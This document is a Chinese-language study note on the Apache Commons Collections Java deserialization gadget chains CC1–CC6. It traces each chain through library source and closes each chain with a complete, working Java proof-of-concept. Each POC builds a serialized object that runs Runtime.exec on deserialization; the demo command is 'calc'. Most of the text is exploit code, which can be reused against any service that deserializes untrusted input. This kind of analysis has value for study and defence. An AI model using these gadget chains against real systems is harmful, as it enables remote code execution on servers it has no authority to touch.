前言

整理了一下之前的笔记,文中不对一些前置知识进行科普,如javassist、动态代理等,如果不了解的同学可以自行百度哈。

分析

CommonsCollections1

ysoserial给出调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

我们先从最底下调用Runtime.exec的地方开始,跟进org.apache.commons.collections.functors.InvokerTransformer#transform,可以看到有反射的调用,所以我们需要寻找对此方法调用的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

跟进org.apache.commons.collections.functors.ChainedTransformer#transform此处的iTransformers我们可以在ChainedTransformer实例化的时候传进去,进而可以达到调用org.apache.commons.collections.functors.InvokerTransformer#transform的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private final Transformer[] iTransformers;

public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

//省略部分代码

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

跟进org.apache.commons.collections.map.LazyMap#get,此处的this.factory我们可以通过org.apache.commons.collections.map.LazyMap#decorate将我们的org.apache.commons.collections.functors.ChainedTransformer的实例传进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
protected final Transformer factory;

public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = FactoryTransformer.getInstance(factory);
}
}

//省略部分代码

public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

所以我们怎么样才能调用org.apache.commons.collections.map.LazyMap#get呢,看到ysoserial给调用栈,跟进sun.reflect.annotation.AnnotationInvocationHandler#invoke,可以看到此处的memberValues为一个Map,且invoke方法中有this.memberValues.get(var4),也就是说我们可以通过invoke调用到org.apache.commons.collections.map.LazyMap#get

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
private final Map<String, Object> memberValues;

public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
//省略部分代码

switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}

return var6;
}
}
}
}

怎么样才能触发invoke方法呢,回到最初触发反序列化的地方sun.reflect.annotation.AnnotationInvocationHandler#readObject,可以看到this.memberValues.entrySet().iterator(),如果此处的this.memberValues是通过动态代理构建的,那么当this.memberValues进行方法调用时是使用代理类的invoke方法进行调用的,并且sun.reflect.annotation.AnnotationInvocationHandler#readObject实现InvocationHandler接口,所以整个攻击链就行形成了(不得不佩服作者的Java功底Orz)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

//省略部分代码
}

最终POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package CommonsCollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);

InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);

ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("test.out")));
objectOutputStream.writeObject(object);

ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream("test.out"));
objectInputStream.readObject();
}
}

CommonsCollections2

ysoserial的给出的调用链如下:

1
2
3
4
5
6
7
8
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

跟进java.util.PriorityQueue#readObject,可以看到将对象读取之后,会调用java.util.PriorityQueue#heapify对堆进行调整,在heapify处打一个断点对ysoserial进行调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

跟进java.util.PriorityQueue#heapify,其中queue数组为我们传入的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的实例

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

跟进java.util.PriorityQueue#siftDown,如果comparator不为空则使用自定义的comparator对元素进行筛选

1
2
3
4
5
6
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

跟进java.util.PriorityQueue#siftDownUsingComparator,可以看到这里使用了comparator.compare进行比较,此处的comparator.compareorg.apache.commons.collections4.comparators.TransformingComparator#compare

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

跟进org.apache.commons.collections4.comparators.TransformingComparator#compare,可以看到此处又是对this.transformer.transform调用

1
2
3
4
5
6
7
private final Transformer<? super I, ? extends O> transformer;

public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

然后这里是通过InvokerTransformer.transform调用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public O transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class<?> cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}

跟进com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplnewTransformer方法,此处的getTransletInstance会获取我们传入的字节码的实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

跟进com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance,此处的_class为空,会进入com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses_class进行一个赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

跟进defineTransletClasses,可以看到循环那里将_bytecodes(也就是我们构造的恶意字节码)通过Classloader加载之后传给_class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {

//省略部分代码
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]); //通过loader将字节码动态构建类到_class中
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
//省略部分代码
}
//省略部分代码
}

然后回到getTransletInstanceAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance()此处对我们恶意字节码中的类进行了实例化,进而触发了RCE。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package CommonsCollections;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections2 {

public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

byte[] bytes=payload.toBytecode();

Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});

Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator=new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);

Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();

}
}

CommonsCollections3

Commons Collections3算是Commons Collections1Commons Collections2两个攻击链的结合吧,理解了1和2这个应该不难理解

2中是通过InvokerTransformer去触发com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplnewTransformer方法,而3是通过InstantiateTransformer实例化com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter触发构造方法进而触发com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplnewTransformer方法

跟进InstantiateTransformertransform方法,可以看到con.newInstance(this.iArgs),对con进行了一个实例化,也就是此处会对com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter进行一个实例化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var6) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException var7) {
throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
} catch (IllegalAccessException var8) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
} catch (InvocationTargetException var9) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
}
}

跟进com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter构造方法,可以看到此处_transformer = (TransformerImpl) templates.newTransformer()触发了TransformerImplnewTransformer方法,

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

然后触发InstantiateTransformertransform方法和1一样也是通过动态代理的,这里就不多赘述了

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package CommonsCollections;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3 {

public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

byte[] bytes=payload.toBytecode();

Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});

Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");

InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};

ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);

InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(object);
outputStream.close();

ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}

CommonsCollections4

利用链和2一样,只不过是把 InvokerTransformer换成了InstantiateTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package CommonsCollections;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.Transformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections4 {

public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

byte[] bytes=payload.toBytecode();

Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});

Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");

InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};

ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

TransformingComparator comparator=new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);

Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();

}
}

CommonsCollections5

ysoserial中给出的调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

跟进javax.management.BadAttributeValueExpException#readObject,此处Object valObj = gf.get("val", null);之后,valObj就是我们传入org.apache.commons.collections.keyvalue.TiedMapEntry的实例,不过需要System.getSecurityManager() == null,幸运的是,默认情况下,SecurityManager是关闭的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

此处是org.apache.commons.collections.keyvalue.TiedMapEntry#toStringorg.apache.commons.collections.keyvalue.TiedMapEntry#getValue,然后又是LazyMap.get

1
2
3
4
5
6
7
8
9
private final Map map;

public Object getValue() {
return this.map.get(this.key);
}

public String toString() {
return this.getKey() + "=" + this.getValue();
}

之后又是一样的操作了,最终POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package CommonsCollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*;
import java.util.Map;

public class CommonsCollections5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);

ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("test.out")));
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();

ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
objectInputStream.readObject();

}

}

需要注意的这里不能在BadAttributeValueExpException实例化的时候传入entry,而是通过反射赋值

1
2
3
4
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, entry);

因为如果是在实例化的时候传入entry,此时this.val = val.toString()就是一串字符串

1
2
3
4
5
6
7
public String toString()  {
return "BadAttributeValueException: " + val;
}

public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

CommonsCollections6

CommonsCollections6和5差不多,ysoserial中给出调用链如下:

1
2
3
4
5
6
7
8
9
10
11
12
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

CommonsCollections6CommonsCollections5不同的是,6是将BadAttributeValueExpException换成了HashSet

跟进java.util.HashSet#readObject

1
2
3
4
5
6
7
8
9
10
11
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
//省略部分代码

// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

跟进java.util.HashMap#put

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

跟进java.util.HashMap#hash

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

跟进org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode

1
2
3
4
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

跟进org.apache.commons.collections.keyvalue.TiedMapEntry#getValue,可以看到这里又调用了我们熟悉的LazyMap.get

1
2
3
public Object getValue() {
return this.map.get(this.key);
}

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package CommonsCollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonsCollections6 {
public static void main(String[] args) throws Exception {
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");

//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);

ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
objectOutputStream.writeObject(hashSet);
objectOutputStream.close();

ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
objectInputStream.readObject();

}

}

